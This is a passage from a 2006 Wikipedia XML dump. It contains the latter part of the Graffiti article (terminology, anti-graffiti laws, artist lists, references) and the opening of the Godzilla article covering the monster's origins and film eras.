Most of those who practice graffiti art wish to distance themselves from gang graffiti. Differences in both form and intent exist: graffiti art aims at self-expression and creativity, and may involve highly stylized letterforms drawn with markers, or cryptic and colorful spray paint murals on walls, buildings, and even freight trains. Graffiti artists strive to improve their art, which constantly changes and progresses. Gang graffiti, on the other hand, functions to mark territorial boundaries, and therefore does not transcend a gang's neighborhood; in the eyes of lovers of graffiti-art, it does not presuppose artistic intent. 

The designs, while chosen to appear distinctive and recognizable, are more likely to be influenced by the speed with which a tagger can execute them (thus minimizing the chance of that tagger being caught). Those who distinguish between [[tagging]] and graffiti generally accept tagging as [[gang]]-motivated or meant as vandalism (illegal) or viewed as too vulgar or controversial to have public value, while they can view graffiti as creative expression, whether charged with political meaning or not.

Many contemporary analysts and even art critics have begun to see artistic value in some graffiti and to recognize it as a form of [[public art]]. According to many art researchers, particularly in the [[Netherlands]] and in Los Angeles, that type of public art is, in fact an effective tool of social [[emancipation]] or in the achievement of a political goal. 

The murals of Belfast and of Los Angeles [http://rpmurals.home.att.net/] offer another example of official recognition. In times of conflict, such murals have offered a means of communication and self-expression for members of these socially, ethnically and/or racially divided communities, and have proven themselves as effective tools in establishing dialog and thus of addressing cleavages in the long run.  

[[Image:Graffiti.jpg|thumb|300px|A &quot;tagged&quot; construction scaffolding.]]

Computer generated &quot;tags&quot; of usernames are now increasingly popular on forums, one notable site being [[Gaia Online]].

===Terminology===
A number of words and phrases have come to describe different styles and aspects of graffiti.  Like all slang and colloquialisms the phrases vary in different cities and countries.  Below is a selection of terminology from the USA:  

* '''tag''' - a stylized signature; the terms '''tagger''' and '''writer''' refer to a person who &quot;tags&quot;. A tag can be distinguished from a piece by its relative simplicity.  Tags are usually comprised of a single color that contrasts sharply with its background.  Tag can also be used as a verb which means &quot;to sign&quot;. Writers often tag their pieces following the tradition of signing masterpieces. Another type of tag is a &quot;dust tag&quot;, done in dust by writers wishing to practice. Not commonly popular.
* '''piece''' (from &quot;[[masterpiece]]&quot;) - a large image, often with [[stereogram|3-D]] effects, arrows giving flow and direction, many colors and color-transitions and various other effects. A piece needs more time than a throw-up. If placed in a difficult location and well executed it will earn the writer more respect. Piece can also be used as a verb that means: &quot;to write&quot;. (See also:[[Super kool 223]])
* '''throw-up''' - defined by the short amount of time it takes to create, a throw-up is not a piece. It generally consists of an outline (like black) and one layer of fill-color (like silver). Easy-to-paint bubble-shapes often form the letters. Throw-ups are often utilized by writers who wish to achieve a large number of tags while competing with rival artists. The short amount of time it takes to complete a throw-up reduces the risk of getting &quot;busted&quot;.
* '''sticky''' - a sticker (usually taken from a post office) and has the writer's tag on it. 
* '''bombing''' (as in the phrases '''to bomb''' or '''to hit''') describes painting many surfaces. Throw-ups or tags are often utilized, since they don't require much time to execute.
* '''crew or cru''' has become the standard [[collective noun]] for a group of writers or graffiti-artists. Some crews are members of gangs, or are associated with gangs for art materials or protection during the process of creation, but many crews are unaffiliated with gangs.
* writers become '''up''' when their work becomes widespread and well-known. To &quot;get up&quot; in a city involves tagging, bombing and making good pieces (see the graffiti-themed video game ''[[Marc Ecko's Getting Up: Contents Under Pressure]]'')
* to '''slash''' somebody's tag (to put a line through, or tag over it) counts as a deep insult. This is also known as &quot;capping&quot;, &quot;marking&quot;, &quot;buffing&quot;, and &quot;dissing&quot;, which originates from disrespecting. 
[[Image:Berlin Wall.jpg|thumb|200px|right|Graffiti on the Berlin Wall]]
* the phrase '''back to back''' refers to a graffiti that covers a wall from end to end, as seen on some parts of the West-Berlin side of the [[Berlin Wall]]. Similarly, trains sometimes receive '''end to end''' painting; which means a carriage has been painted along its entire length (but not to the top of the carriage). This is often abbreviated to '''&quot;e2e&quot;'''. End to ends used to be called '''window-downs''' but this is an older expression that is falling from popularity. 
*  '''top-to-bottom''' pieces on trains cover the whole height of the car. A top-to-bottom, end-to-end production is called a '''whole-car.''' A production with several writers might cover a '''whole-train''', which means the entire side of the train has been covered.
* '''burner''' - typically a large, elaborate piece, more elaborate than a normal piece. It refers to the piece &quot;burning&quot; out of the wall or train-side. Burners often originate legally, because of the time and effort put into them, but the great early writers of New York also did burners illegally on trains.
* '''insides''' are tags or bombs done inside trains, trams, or buses. In 1970s New York, there was as much graffiti inside the subway trains as outside, and the same is true of some cities today (like Rome, Italy and Melbourne, Australia). While prolific, insides are often less artistic and seldom documented.
* '''going over''' - (go over) if a writer goes over or tags upon another writer's piece, it is the same as declaring war against the opponent writer. Most writers respect others' work, and the basic rules for replacing other creations are in this order: tag - throwup - piece.  You should only paint over another's work if it has been slashed (or &quot;dissed&quot;) already or if you will be creating something better than the original piece. As what constitutes &quot;better&quot; is highly subjective, this often leads to disagreements. If someone breaks these guidelines the person is considered a &quot;toy&quot;, or generally an annoyance.
* '''toy''' - an inexperienced or unskilled writer. Graffiti pros use this as a derogatory term for new writers in the scene.
* '''king''' - '''inside''' or '''outside''' kings are writers with a certain amount of respect among other writers. To own the inside means you have most tags inside trains, and to own the outside means having most pieces on the train surface. One should note that their are kings of '''style''' among a variety of other categories and the term is regionally subjective. Self-declared kings will often incorporate crowns into their pieces; a commonly used element of style.
* '''buffing''' - (to buff) to remove a graffiti painting with chemicals and other instruments.
[[Image:TAF rooftop.jpg|thumb|125px|right|TAF rooftop, Phoenix Arizona]] To gain notoriety, and make pieces difficult to remove, graffiti artists will sometimes paint hard-to-reach spots such as [[roof|rooftop]]s. Such '''heavens''' pieces (also commonly known as '''giraffiti'''), by the nature of the spot often pose dangerous challenges to execute. 
* '''nic''' - (to nic) to steal another artists ideas or lettering schemes. Seasoned artists will often complain about 'toys' that nic their work.
* '''bite''' - (to bite) an oldschool NYC term for '''nic''' .
*'''Etch''' can refer to the use of acid solutions intended for creating [[frosted glass]] to write on windows.
*'''paintEATER''' refers to surfaces coated with a certain chemical that causes spray to be consumed thus implying the words painteater

Another technique sometimes referred to as '''scratchitti''' involves making purposely hard-to-remove graffiti by scratching or [[etching]] a tag into an object, generally using a [[key (lock)|key]] or another sharp object such as a [[knife]], stone, ceramic drill bit, or [[diamond]] tipped [[Dremel]] bit. The [[Mohs scale of mineral hardness]] determines which stones or other objects will scratch what surfaces.

==Legal situation==
Graffiti is subject to different societal pressures from popularly-recognized art forms, since graffiti appears on walls, freeways, buildings, trains or any accessible surfaces that are not owned by the person who applies the graffiti.  This means that graffiti forms incorporate elements rarely seen elsewhere.  Spray paint and broad permanent markers are commonly used, and the organizational structure of the art is sometimes influenced by the need to apply the art quickly before it is noticed by authorities.

[[Image:Graffitti-face.jpg|thumb|Character created by graffiti artist]]
In an effort to reduce vandalism, many cities have designated walls or areas exclusively for use by graffiti artists. Some have suggested that this discourages petty vandalism yet encourages artists to take their time and produce great art, without worry of being caught or arrested for vandalism or [[trespassing]]. Others disagree with this approach, arguing that the presence of legal graffiti walls does not demonstrably reduce illegal graffiti elsewhere.

While some perceive graffiti as a method of reclaiming public space, many others regard it as an unwanted nuisance, or as expensive [[vandalism]] requiring repair of the vandalized property. One can view graffiti as a '[[quality of life]]' issue, and many people suggest that the presence of graffiti contributes to a general sense of squalor and a heightened fear of [[crime]]. Advocates of the &quot;[[Fixing Broken Windows|broken window theory]]&quot; believe that this sense of decay encourages further vandalism and promotes an environment leading to offences that are more serious. Former [[New York City]] mayor [[Rudy Giuliani]]'s subscription to the broken window theory promoted an aggressive anti-graffiti campaign in New York. However, throughout the world, authorities often, though not always, treat graffiti as a minor nuisance crime, though with widely varying penalties.

Chicago's mayor, [[Richard M. Daley]] created the '[[Graffiti Blasters]]' to eliminate graffiti and gang-related vandalism. The bureau promises absolutely free cleanup within 24 hours of a phone call. The bureau uses paints (common to the city's 'color scheme') and baking-soda based solvents to erase all varieties of graffiti. [http://www.kcb.org/kcb_cleanups.html]  

In 1984, the [[Philadelphia Anti-Graffiti Network]] (PAGN) was created to combat the city's growing concerns about gang-related graffiti. PAGN led to the creation of the [[Mural Arts Program]], which replaced often hit spots with elaborate, commissioned murals that were protected by a city ordinance, increasing fines and penalties for anyone caught defacing a mural.

Community cleaning squads have responded to graffiti. In [[France]], the [[Protestantism|Protestant]] youth group ''[[Éclaireurs de France]]'' took their graffiti-scrubbing into the [[Meyrieres Cave]] near the French village of [[Bruniquel]] in [[Tarn-et-Garonne]], where they carefully erased the ancient paintings from the walls, earning them the [[1992]] [[Ig Nobel Prize]] in [[archaeology]].[http://www.improb.com/ig/ig-pastwinners.html#ig1992]

[[Image:Us-nogutsnofame.JPG|thumb|350px|left|Computer generated graffiti No Guts, No Fame, its noticeable &quot;anti-police&quot; theme shows both its subject's and its creator's frustration with the perceived illegal threat of graffiti, and the belief that the likely penalty is worth the price.]]

Graffiti made the news in [[1993]], over an incident in [[Singapore]] involving several expensive cars found spray-painted. The police arrested a student from [[Singapore American School]], [[Michael P. Fay]], questioned him and subsequently charged him with vandalism. Fay pleaded guilty for vandalizing the car in addition to stealing road signs. Under the [[1966 Singapore Vandalism Act]], originally passed to curb the spread of communist graffiti in Singapore, the court sentenced him to four months in [[jail]], a fine of 3,500 [[Singaporean dollars]] ([[United States dollar|US $]]2,233 or 1,450 [[British pounds]]), and a [[caning]]. ''[[The New York Times]]'' ran several editorials and op-eds that condemned the punishment and called the American public to flood the Singaporean embassy with protests. Although the Singapore government received many calls for [[pardon|clemency]], Fay's caning took place in Singapore on [[May 5]], [[1994]]. (Fay originally received a sentence of six lashes of the cane, but the then [[President of Singapore]] [[Ong Teng Cheong]] finally agreed to reduce his caning-sentence to four lashes.)

In [[1995]] Mayor Rudolph Giuliani of New York set up the [[Anti-Graffiti Task Force]], a multi-agency initiative to combat the perceived problem of graffiti vandals in New York City. This began a crackdown in &quot;quality of life crimes&quot; throughout the city, and one of the largest anti-graffiti campaigns in US history. That same year Title 10-117 of the New York Administrative Code banned the sale of aerosol spray-paint cans to children under 18. The law also requires that merchants who sell spray-paint must lock it in a case or display cans behind a counter, out of reach of potential shoplifters. Violations of the city's anti-graffiti law carry fines of $350 per count. Both [http://www.nyc.gov/html/nograffiti/html/legislation.html the full text of the law] and an [http://www.zephyrgraffiti.com/zephyrwrt/crackdwn.html opposing viewpoint] written by famous NYC graffiti artist [[Zephyr (graffiti artist)|Zephyr]] appear online.

The [[Anti-Social Behaviour Act 2003]] became Britain's latest anti-graffiti legislation.

In [[August]] [[2004]], the [[Keep Britain Tidy]] campaign issued a [http://www.encams.org/campaigns/main2.asp?pageid=34 press release] calling for [[zero tolerance]] of graffiti and supporting proposals such as issuing &quot;on the spot&quot; [[fine]]s to graffiti offenders and banning the sale of aerosol paint to teenagers. The press release also condemned the use of graffiti images in advertising and in [[music video]]s, arguing that real-world experience of graffiti stood far removed from its often-portrayed 'cool' or 'edgy' image. To back the campaign, 123 British [[Member of Parliament|MP]]s (including [[Prime Minister]] [[Tony Blair]]) signed a charter which stated: ''Graffiti is not art, it's crime. On behalf of my constituents, I will do all I can to rid our community of this problem.''

The city of [[Albuquerque]], [[New Mexico]] has had an aggressive anti-graffiti program since the mid-1990s. The city regarded its heavily-tagged [[arroyo (creek)|arroyo]]s, bridges and sound barrier walls as an eyesore.  Reports emerged of taggers suffering injury and death attempting to tag their gang's area or while spray painting graffiti on the bridges.  Each park and arroyo now has a sign posted that gives the telephone number to the Albuquerque ''Tagger's Hotline'', and a website exists where citizens can report taggers or graffiti online.  Most stores in the metro area will not even sell spray paint without seeing an ID, and some have gone so far as to lock the spray paint away.  Punishments include fines, community service and jail.

On January 1st, 2006, it became illegal for a person under the age of 21 to possess spray-paint or permanent markers in New York City for the purpose of creating graffiti.

==See also==
{{commons|Category:Graffiti}}
* [[Stencil]]
* [[Cartoons]]
* [[Censorship]]
* [[Types of graffiti]]
* [[Bristol Urban Culture]]
* [[Guerilla art]]
* [[Airplane graffiti]]
* [[List of notable graffiti posses]]

==Famous artists==
[[Image:Taki183.jpg|thumb|right|250px|New York City's TAKI 183]]

{| cellspacing=&quot;5&quot; cellpadding=&quot;5&quot; border=&quot;0&quot;
|-
|valign=&quot;top&quot;|'''Aerosol artists'''
* [[Robert Del Naja|3D]] from [[Massive Attack]]
* [http://www.geocities.com/abeloner Abel Oner]
* [[Asend]]
* [[Atome]]
* [[Alexone]]
* [[Banksy]]
* [[Bates]] Copenhagen, Denmark
* [[Baby 168]] New York , NY
* [[Blade TC5]]; TC5; [[New York, NY]]
* [http://bekenone.freeshell.org/mygraff/ Beken One]
* Borf ([[John Tsombikos]])
* [[Bryer]]
* [http://www.webgallerynyc.com/crash.html Crash]
* [[Claw]]; PMS; [[New York, NY]]
* [[Cool Disco Dan|Cool &quot;Disco&quot; Dan]]
* [[Cope2]]; [[Bronx]]
* [[Cost]]; [[New York, NY]]
* [[Cornbread]]; [[Philadelphia, PA]]
* [[Chase]]; UCA, DTK, Network; [[Atlanta, GA]]
* [[Cha]]
* [[Crz One]];[[Philadelphia, Pa]]
* [[Daim]]
* [[Dan Groover]]
* Daze
* Delta
* [[Dondi]] aka [[Dondi White]]
* [[Doze]]
* [[DR]];New York, NY AA Mobb, CYN 
* [[Ease]]; IHS
* [[Espo]]
* [[Earsnot]]
* Ewok
* [[Fantom]]
* [[Futura 2000]]
* [[Obey Giant]] aka [[Shepard Fairey]]
* [[Goldie]]
* [[Great]] Copenhagen, Denmark
* [[IZ (graffiti artist)|IZ]] &quot;The Wiz&quot;
* [[JACK-1-]] (Graffiti Writer) aka [[SEE]]; NCB, TSF, TBS; [[New York, NY]]
* [[Jaz 1]]; UCA, 431; [[Atlanta, GA]]
* [[JERK]] 2006 Copenhagen, Denmark
* [[Kel 1st]]
* [[KR]]
* [[Lady Pink]] aka [[PINK]]; [[New York, NY]]
* Lee aka [[Lee Quinones]]; [[New York, NY]]
* [[Lee 163d]]
* [[Lern 1]]; Network, GH, CTC; [[New York, NY]]
* [[Leon]] aka [[Sr. Leon]]; [[Atlanta, GA]]
* [[Mare 139]]
* [[Moody]];AA Mobb, CYN, 
* [[Mutz]];AA Mobb, CYN, 
* [[Mr. Fangs]] aka [[Totem2]]; [[Atlanta, GA]]
* [[Muelle]], pioneer of Spanish tagging
* [[Nace]]; [[New York, NY]]
* [[Naf One]]
* [[Novel_Graff|Novel]]
* [[Opal]]
* [[Phase 2|Phase II]]
* [[Priz-1]] aka [[Swan]]; TSF, NCB, TBS, CACITY; [[New York, NY]]
* [[Rammellzee]]
* [[Reas]]; [[New York, NY]]
* [[Revs]]; [[New York, NY]]
* [[Revok]]; AM7
* Redeem'd:1
* [[Remio]]
* Riot
* [[SB 1]] aka [[Cole]]; Network; [[Atlanta, GA]]
* [[Sense]] aka [[SenOne]]; UCA, 431; [[Atlanta, GA]]
* [[Seen|Seen UA]]; UA; [[New York, NY]]
* [http://www.atelier4.org SEAT-RDM] Germany
* Sever
* [[Sketzh]] (also known as Sketch) Copenhagen, Denmark
* [[Smaze]]; CTC, GH, EDK
* [[SnaZ]]
* [[Shy 149]]
* [[Stan-1]]; TSF, NCB, TBS; [[New York, NY]]
* [[Super kool 223]] 
* [[Surge]]; MDR, WGS
* [[Suroc]]
* [[Swet]] Copenhagen, Denmark
* [[TAKI 183]]
* [[Teako170]]
* [[Tesk]]
* [[Tox]]
* [[Barry McGee|Twist]]
* [[Unit One]]
* [[Zeke One]]
* [[Zephyr (graffiti artist)|Zephyr]]
|valign=&quot;top&quot;|'''[[Street Art]] and [[Post-Graffiti]] artists'''
* [[86]]
* [[Above]]
* [[Banksy]]
* Branded
* [[El Tono]]
* Flying Fortress
* [[Influenza]]
* [[Kaws]]; DF, FC, TC5; [[New York, NY]]
* [[Keep Adding]]
* [[Moody]];AA Mobb, CYN, 
* [[Neck face|Neck Face]]
*''[[Pure Evil]]''  ([http://www.pureevilclothing.com/evilbunny.html   pureevil])
* [[Seen]]
* [[Shepard Fairey]] aka [[Obey Giant]]
* [[Space Invader]]
* [[Space1]] [[South Side San Jose]]
* [[Swoon]]
* [[Speekerboxx]]
* [[3$Bill]]
* [[ROZZ]]
&lt;br /&gt;
'''Avant garde artists'''
* [[Jean-Michel Basquiat]]
* [[Keith Haring]]
* [[Harald Naegeli]]
* [[Mear One]]
* [[Arthur Was Here]]
&lt;br /&gt;
'''Political graffiti artists'''
* [[Alexander Brener]]
* [[Asger Jorn]]
* [[Punka Pixies]] aka [[OSI]]
&lt;br /&gt;
'''Fictional graffiti artists'''
* '''Brian''', in 1979 film [[Monty Python's Life of Brian]].
* '''Chopper''' in [[Judge Dredd]] comics.
* '''[[Anarky]]''' in [[Batman]] [[Detective Comics]].
* [[Bart Simpson]] ('''El Barto''') in [[The Simpsons]].
* '''Dose aka Mingus Rude''' in the novel &quot;The Fortress of Solitude&quot; by [[Jonathan Lethem]].
* &quot;[[Ghost World]]&quot; in [[Eightball comics # 11-18]] by Daniel Clowes.
|-
|}

== References and additional resources ==

===In film===
*''[[Style Wars]]'' is an early documentary on hip hop culture, made by Tony Silver and Henry Chalfant, made in New York City in the early 1980 for [[PBS]].
*''[[Bomb the System]]'' (Theatrical release [[May 27]] [[2005]] in America / [[3 September]] [[2005]] in Japan): a narrative feature about a crew of graffiti writers in modern day New York City. Shot entirely on the streets of New York starring [[Mark Webber]] as BLEST, a young artist struggling for fame and featuring [[BONZ Malone]], [[SEMZ]], TATS crew, [[LEE Quinones]], [[Tracy 168]], [[GANO]], and artwork from KR, SERF/MINT, PER, T-KID, STEM YNN, KYRO VGL and many many others. [[Bomb the System]] was scored by independent hip hop producer [[El P]] aka [[El Producto]], his first such attempt at composing for film and directed by 23 year old NYU film school grad [[Adam Bhala Lough]]. The film screened at 23 festivals on 3 continents and was nominated for an [[IFP Independent Spirit Award]] for Best First Feature in 2003. Palm Pictures released the film and subsequent DVD in 2005 to mixed reviews by t
*''[[NEXT, a Primer on Urban Painting]]'' - 2005 documentary.  ([http://www.nextthemovie.com/ nextthemovie.com], [http://www.imdb.com/title/tt0495164/ imdb])
*''[[GRAFFITITV]]'' - online graffiti TV featuring graffiti clips from around the world updated every day .  ([http://www.graffitiTV.net/ graffitiTV.net])

===Online===
*[http://www.vfunk.com/703.html Graffiti Directory] Graffiti resource Including Banksy, Seen, Shepard Fairey.
*[http://www.bombingscience.com Bombing Science] Thousands of graffiti pictures from around the world.
*[http://www.graffiti.org Art Crimes] The first website to feature Graffiti, with many photos and resources.
*[http://www.woostercollective.com Woostercollective] A Street Art webite updated daily with new artwork.
{{hiphop}}

[[Category:Graffiti and unauthorised signage| Graffiti]]
[[Category:Art media]]
[[Category:Painting techniques]]
[[Category:Murals]]

[[bg:Графити]]
[[ca:Graffiti]]
[[de:Graffiti]]
[[es:Graffiti]]
[[fa:ديوارنويسی]]
[[fr:Graffiti]]
[[he:גרפיטי]]
[[nl:Graffiti]]
[[ja:落書き]]
[[pl:Graffiti (malarstwo)]]
[[pt:Grafite (arte)]]
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[[zh:塗鴉]]</text>
    </revision>
  </page>
  <page>
    <title>Godzilla</title>
    <id>11986</id>
    <revision>
      <id>42147295</id>
      <timestamp>2006-03-04T03:16:31Z</timestamp>
      <contributor>
        <username>DMG413</username>
        <id>72499</id>
      </contributor>
      <comment>rv vandalism by [[user:John Pierce]]</comment>
      <text xml:space="preserve">[[Image:Godzilla.jpg|225px|right|thumb|Godzilla, as portrayed during the late [[Heisei era (daikaiju eiga)|Heisei era]] (''[[Godzilla vs. SpaceGodzilla]]'', [[1994 in film|1994]])]]
'''Godzilla''' (ゴジラ - ''Gojira'') is a giant Japanese movie monster ([[kaiju]]) first seen in the [[1954 in film|1954]] [[Japan|Japanese]] [[tokusatsu]] [[film]] ''[[Godzilla (1954)|Gojira]]'', produced by [[Toho|Toho Film Company Ltd]]. To date, Toho has produced 28 Godzilla films. In 1998 [[TriStar Pictures]] produced a nominal remake of the original, set in contemporary New York City. A new film is slated to be produced by [[Advanced Audiovisual Productions]]. (For a list of these films, [[Godzilla#Filmography|see below]].)
==Powers==
Godzilla's powers are an Atomic Ray (blue),Finishing beam (red or blue), a Hiper Beam, and a Super Nova (seen only in [Godzilla 2000]).

Godzilla is characterized as amphibious, nearly indestructible and highly regenerative, and breathing a sort of nuclear fire or &quot;heat-ray&quot;. The earliest two Godzilla films visually and thematically evoke the US bombings of Hiroshima and Nagasaki in the aftermath and human damage of Godzilla's attacks. Although much of Godzilla's significance as an [[anti-war]] symbol has been lost in the transition to pop culture, the nuclear breath remains as a visual vestige of the creature's early [[Cold War]] politics.

==History==
===Origins===
The first Godzilla movie always appilies to all Subsequent movies, most of the time the creature is described as prehistoric, often a surviving dinosaur, and its first attacks on Japan are linked to atomic testing in the Pacific Ocean, including but not limited to using nuclear mutation as an explanation for the creature's great size and strange powers.

*His iconic design (a charcoal-colored monster-like figure with small pointed ears, rough bumpy [[scale (zoology)|scales]], powerful [[tail]], and bony colored [[dorsal fin|dorsal fins]] shaped like [[maple leaf|maple leaves]]).
*He is virtually indestructible, impervious to all [[modern weapons|modern weaponry]].
*He can release a powerful atomic energy beam, usually blue but in some films red, from his mouth (which is ominously signalled when his dorsal fins glow/flash in the same color as the atomic beam).

The name &quot;Gojira&quot; is a combination of ''gorira'' which means &quot;[[gorilla]]&quot; and ''kujira'', which means &quot;[[whale]]&quot; in [[Japanese Language|Japanese]]. The name was allegedly originally a nickname of a large worker at Toho Studios.  But since Gojira was neither a gorilla nor a whale, the name &quot;Gojira&quot; was devised in a different way for the film's story; Gojira's name was originally spelled using [[ateji]] characters (呉爾羅).

''[[Godzilla (1954)|Gojira]]'' was first released in the United States in [[1955]] in [[Japanese American|Japanese-American]] communities only, under Toho's international title, ''Godzilla''.  In [[1956]], it was adapted by an American company into ''[[Godzilla, King of the Monsters]]'' (based on Toho's international title), edited and with added, principal scenes featuring [[Raymond Burr]], and this version became an international success.  As a result, the monster came to be known as &quot;Godzilla&quot; also in Japan (the belief that American distributors were responsible for the name &quot;Godzilla&quot; is a misconception, since Toho came up with the name for international markets to begin with).

===Culture===
Godzilla was originally an [[allegory]] for the effects of the [[nuclear weapon|hydrogen bomb]], and the unintended consequences that such weapons might have on Earth. The radioactive contamination of the Japanese fishing boat [[Daigo Fukuryu Maru]] through the [[United States]]' [[Castle Bravo]] [[thermonuclear]] device test on [[Bikini Atoll]], on [[March 1]], [[1954]] lead to much press coverage in Japan preceding the release of the first movie in [[1954]]. The [[Heisei era (daikaiju eiga)|Versus]] and [[Mireniamu era (daikaiju eiga)|Millennium]] Series have largely continued this concept. Some have pointed out the parallels, conscious or unconscious, between Godzilla's relationship to Japan and that of the United States; first a terrible enemy who causes enormous destruction, but then becoming a good friend and defender in times of peril.

Films have been made over the last five decades, each reflecting the social and political climate in Japan. All but one of the 29 films were produced by Toho: a version was made in 1998 by [[TriStar Pictures]] and set in the [[United States]] by the directors of ''[[Independence Day (movie)|Independence Day]]'' (ID4) and is somewhat despised by most Godzilla fans. Toho immediately followed it with 1999's ''[[Godzilla 2000: Millennium]]'', which began the current series of films, known informally as the [[Mireniamu era (daikaiju eiga)|Mireniamu]] or ''Millennium'' series.

Much of Godzilla's popularity in the United States can be credited with [[Television|TV]] broadcasts of the [[Toho Studios]] monster movies during the [[1960s]] and [[1970s]]. The American company [[United Productions of America|UPA]] contracted with Toho to distribute its monster movies of the time, and UPA continues to hold the license today for the ''Godzilla'' films of the 1960s and 1970s. Sony currently holds some of those rights, as well as the rights to every Godzilla film produced from 1991 onward. The [[Blue Öyster Cult]] song &quot;Godzilla&quot; also contributed to the popularity of the movies. The creature also made an appearance in a [[Nike, Inc.|Nike]] commercial, in which Godzilla went one-on-one with NBA star [[Charles Barkley]].

In 1996, after his then-final appearance in ''[[Godzilla vs. Destoroyah]]'', Godzilla received an award for Lifetime Achievement at the [[MTV Movie Awards]]. Creator and producer [[Tomoyuki Tanaka]] accepted on his behalf via satellite but was joined by &quot;Godzilla&quot; himself.

On his 50th (Japanese) birthday, on [[29 November]] [[2004]], Godzilla got a star on the [[Hollywood Walk of Fame]].

===Synopsis===
{{spoiler}}
The deoxygenation of Tokyo bay, caused by Dr. Serizawa's oxygen destroyer, killed Godzilla at the end of the first movie, dissolving his flesh and bone into nothingness. Nonetheless, Gojira - or Godzilla - returned in a series of films, all from Toho.

In the subsequent films, another of Godzilla's species take his place or Godzilla simply doesn't stay dead (there is some debate about this). In Godzilla 2000, it is discussed that Godzilla possesses a component known as &quot;Organizer G-1&quot;, or &quot;Regenerator G-1&quot; in the English version of the film, which allows him to heal from any wound, possibly even regenerate himself from mere fragments. This would make it possible for Godzilla to continue indefinitely, even though he appears to die. Such an ability was used in ''Godzilla, Mothra, King Ghidorah''; where Godzilla's heart beats after Godzilla explodes.

The Japanese version of Godzilla was greatly inspired by the commercial success of ''[[King Kong]]'', and the [[1953]] success of ''[[The Beast From 20,000 Fathoms]]''. Godzilla would go on to inspire [[Gorgo]], [[Gamera]], and many others.

==Films==
[[Image:GodzillasAtomicRay.jpg|left|thumb|Godzilla fires his atomic ray in ''[[Destroy All Monsters]]'' ([[1968 in film|1968]]).]]

The Godzilla series is generally broken into three eras, reflecting the broader division of daikaiju eiga into the [[Showa era (daikaiju eiga)|Shōwa era]], [[Heisei era (daikaiju eiga)|Heisei era]], and [[Mireniamu era (daikaiju eiga)|Millennium era]].

===Shōwa Godzilla Series (昭和ゴジラシリーズ) 1954–1975===
The initial series of movies is named for the [[Showa period]] in Japan (as all of these films were produced before [[Hirohito|Emperor Hirohito]]'s death in [[1989]]).  This Showa timeline spanned from 1954, with ''[[Godzilla (1954)]]'', to 1975, with ''[[Terror of Mechagodzilla]]''. With the exception of the serious ''[[Godzilla (1954)]]'' and the semi-serious sequels ''[[Godzilla Raids Again]]'' and ''[[Mothra vs. Godzilla]]'', this period also featured a somewhat more lighthearted Godzilla. This tendency started with ''[[King Kong vs. Godzilla]]'', which  had the highest ticket sales of any Godzilla movie. Starting with ''[[Ghidorah, the Three-Headed Monster]]'' (made 10 years after [[Godzilla (1954)|the first Godzilla film]]), Godzilla became a semi-playful [[antihero]], and as years went by, he evolved into an [[anthropomorphic]] [[superhero]].  The films [[Son of Godzilla]] and [[All Monsters Attack]] were aimed largely at youthful audiences, featuring the appearance of Godzilla's son, [[Minya]].  The Showa period saw the addition of many monsters into the Godzilla continuity, three of which ([[Mothra]], [[Rodan]] and [[Varan]]) had their own solo movies, as well as a movie for the Toho-ized [[King Kong]]. This period featured a rough continuity, although the chronology is confused, as some of the later movies were set in an arbitrary future time, often 1999.

In all films of this original series, Godzilla was 50 meters tall, and weighed 20,000 tons. The American release ''Godzilla, King of the Monsters!'' (1956) incorrectly stated Godzilla's height to be 400 feet, an inaccuracy that lingers today.

===Versus Series or Heisei Series (ＶＳシリーズ) 1984–1995===
The timeline was revamped in 1984 with ''[[The Return of Godzilla]]''; this movie was created as a direct sequel to the 1954 film, and ignores the continuity of the Showa series. Known as the [[VS Series]], (unofficially known to American fans as the &quot;[[Heisei era (daikaiju eiga)|Heisei Series]]&quot;, for the ruling emperor of the time), the continuity ended in 1995's ''[[Godzilla vs. Destoroyah]]'' after a run of seven films. The reason for the continuity shift was based on a realization that the marketing of the movies had removed the reason it was so loved. When it was discovered that Godzilla was popular with children, sequels were toned down in obvious screen violence, and Godzilla was made out to be a good guy instead of an indestructible, abhorrent mistake of men. However, the further Godzilla was taken away from his roots, the less popular he became. Hence, ''[[The Return of Godzilla]]'' brought the series back to form.

===American Columbia/TriStar Godzilla film, 1998===
The only Godzilla movie not made by Toho is the [[1998]] film ''[[Godzilla (1998)|Godzilla]]'', directed by [[Roland Emmerich]]. Despite being one of the highest grossing films of the year when factoring in overseas profits, the film was widely panned by cult followers of the Godzilla franchise, critics on both sides of the Pacific, and movie-goers in general. The $136 million US boxoffice fell far short of marketing expectations, thus the film is generally viewed as a failure despite turning a profit worldwide.

In the 1998 film, Godzilla had been a reptile mutated after a [[France and weapons of mass destruction|French atomic test]], on a [[French Polynesia|French Polynesian island]]. Set in [[New York City]] and produced by [[Columbia Pictures]], this movie is not considered to be part of any of the three eras of the Godzilla series.

The monster in the 1998 film has since been dubbed [[Zilla|GINO]] (Godzilla In Name Only) by many Godzilla fans. 

GINO is so called for multiple reasons. The most obvious is that the American movie restarts the saga from the beginning, setting the main action in New York City. Another is that it is produced by a different company.  However, the biggest change is in the Godzilla character itself. The Godzilla in this movie is almost entirely computer-animated, and bears little resemblance in look or manner to his Japanese counterpart. Instead, he resembles a gigantic [[bipedal]] [[iguana]] or [[Komodo dragon]].  Also, the behavior of the American Godzilla is viewed as running contrary to the long-established Japanese Godzilla traditions.  Examples of this changed behavior include the American Godzilla running away and hiding from the military instead of fighting, a lack of radioactive fire-breath, the laying of eggs by Godzilla, and the ease with which the monster is dispatched by the military at the end of the film.

The movie was considered such a failure that Toho declined to allow any sequels to be made, despite their original plans.

===Millennium Series (ミレニアムシリーズ) 1999–2004===
The [[Mireniamu era (daikaiju eiga)|Millennium Series]] is the official term for the series of Godzilla movies, unofficially called the &quot;[[Shinsei Series]]&quot; (or even the &quot;Alternate Reality Series&quot;) by American fans, made after the [[VS Series]] ended with ''[[Godzilla vs. Destoroyah]]''. Unlike the previous two series, this era does not feature a continuous timeline. Only two of the films in this era, ''[[Godzilla Against Mechagodzilla]]'' and ''[[Godzilla: Tokyo SOS]]'', are directly related to one another. The rest follow entirely different timelines. The common theme to this era is that all movies use ''[[Godzilla (1954)]]'' as the jumping-off point.

Since the films are different, the sizes are different in some cases.  Godzilla's most prominent size in this series is 55 meters. In the Showa Series he was 50 metres, and in the VS series his size ranged from 80-100 metres. In ''[[Godzilla, Mothra and King Ghidorah: Giant Monsters All-Out Attack]]'' he was 60 meters, and in ''[[Godzilla: Final Wars]]'' he was 100 meters tall. Godzilla was originally supposed to be 50 meters in ''Final Wars'', but budgetary cutbacks in miniature sets forced this size change.

